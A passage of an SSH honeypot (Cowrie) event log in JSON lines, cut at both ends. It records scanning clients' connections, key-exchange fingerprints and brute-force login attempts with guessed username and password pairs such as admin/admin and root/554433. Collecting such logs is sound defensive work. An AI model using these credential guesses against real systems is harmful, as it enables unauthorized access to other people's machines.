cm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:23.361473Z","src_ip":"103.27.238.120","session":"0e941440057c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ltleirf","message":"login attempt [root/ltleirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:24.191089Z","src_ip":"103.27.238.120","session":"0e941440057c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:24.466875Z","src_ip":"103.27.238.116","session":"62cdb57bd20f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:25.469950Z","src_ip":"103.27.238.120","session":"0e941440057c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.89.196.141","src_port":40626,"dst_ip":"159.203.135.109","dst_port":22,"session":"98e3ba81d4e6","protocol":"ssh","message":"New connection: 159.89.196.141:40626 (159.203.135.109:22) [session: 98e3ba81d4e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:50.130213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:50.418451Z","src_ip":"159.89.196.141","session":"98e3ba81d4e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:50.660676Z","src_ip":"159.89.196.141","session":"98e3ba81d4e6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:51.687928Z","src_ip":"159.89.196.141","session":"98e3ba81d4e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:51.964898Z","src_ip":"159.89.196.141","session":"98e3ba81d4e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":14636,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebaac5ec11a8","protocol":"ssh","message":"New connection: 130.12.180.51:14636 (159.203.135.109:22) [session: ebaac5ec11a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:52.128953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:52.133822Z","src_ip":"130.12.180.51","session":"ebaac5ec11a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:52.217958Z","src_ip":"130.12.180.51","session":"ebaac5ec11a8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:52.467553Z","src_ip":"130.12.180.51","session":"ebaac5ec11a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:53.008839Z","src_ip":"130.12.180.51","session":"ebaac5ec11a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":23298,"dst_ip":"159.203.135.109","dst_port":22,"session":"8284adc95af3","protocol":"ssh","message":"New connection: 2.57.121.112:23298 (159.203.135.109:22) [session: 8284adc95af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:08.568264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:08.573813Z","src_ip":"2.57.121.112","session":"8284adc95af3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:08.680466Z","src_ip":"2.57.121.112","session":"8284adc95af3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04111976","message":"login attempt [admin/04111976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:09.190683Z","src_ip":"2.57.121.112","session":"8284adc95af3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041086","message":"login attempt [admin/041086] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:10.301120Z","src_ip":"2.57.121.112","session":"8284adc95af3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040975","message":"login attempt [admin/040975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:11.410686Z","src_ip":"2.57.121.112","session":"8284adc95af3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04091973","message":"login attempt [admin/04091973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:12.521922Z","src_ip":"2.57.121.112","session":"8284adc95af3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04081972","message":"login attempt [admin/04081972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:13.632275Z","src_ip":"2.57.121.112","session":"8284adc95af3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:14.746284Z","src_ip":"2.57.121.112","session":"8284adc95af3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":42830,"dst_ip":"159.203.135.109","dst_port":22,"session":"33016040857a","protocol":"ssh","message":"New connection: 121.168.139.251:42830 (159.203.135.109:22) [session: 33016040857a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:16.387228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:16.392700Z","src_ip":"121.168.139.251","session":"33016040857a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:16.592175Z","src_ip":"121.168.139.251","session":"33016040857a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:17.418486Z","src_ip":"121.168.139.251","session":"33016040857a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:18.620802Z","src_ip":"121.168.139.251","session":"33016040857a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":42986,"dst_ip":"10.17.0.5","dst_port":22,"session":"a57319099340","protocol":"ssh","message":"New connection: 103.189.234.9:42986 (10.17.0.5:22) [session: a57319099340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:22.643056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:22.648612Z","src_ip":"103.189.234.9","session":"a57319099340","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:22.884535Z","src_ip":"103.189.234.9","session":"a57319099340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"depot","password":"depot","message":"login attempt [depot/depot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:23.856772Z","src_ip":"103.189.234.9","session":"a57319099340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:25.096720Z","src_ip":"103.189.234.9","session":"a57319099340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":58678,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bf8fd895229","protocol":"ssh","message":"New connection: 103.173.227.57:58678 (10.17.0.5:22) [session: 5bf8fd895229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:25.644126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:25.649247Z","src_ip":"103.173.227.57","session":"5bf8fd895229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:25.902094Z","src_ip":"103.173.227.57","session":"5bf8fd895229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"554433","message":"login attempt [root/554433] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:26.661023Z","src_ip":"103.173.227.57","session":"5bf8fd895229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:45:27.917450Z","src_ip":"103.173.227.57","session":"5bf8fd895229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":34938,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f3194b6d018","protocol":"ssh","message":"New connection: 62.133.62.83:34938 (10.17.0.5:22) [session: 7f3194b6d018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:46:18.248138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:46:18.260093Z","src_ip":"62.133.62.83","session":"7f3194b6d018","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:46:18.332826Z","src_ip":"62.133.62.83","session":"7f3194b6d018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20132013","message":"login attempt [root/20132013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:46:18.640913Z","src_ip":"62.133.62.83","session":"7f3194b6d018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:46:19.725886Z","src_ip":"62.133.62.83","session":"7f3194b6d018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":54324,"dst_ip":"10.17.0.5","dst_port":22,"session":"36f224802f65","protocol":"ssh","message":"New connection: 103.189.234.9:54324 (10.17.0.5:22) [session: 36f224802f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:46:56.405584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:46:56.410394Z","src_ip":"103.189.234.9","session":"36f224802f65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 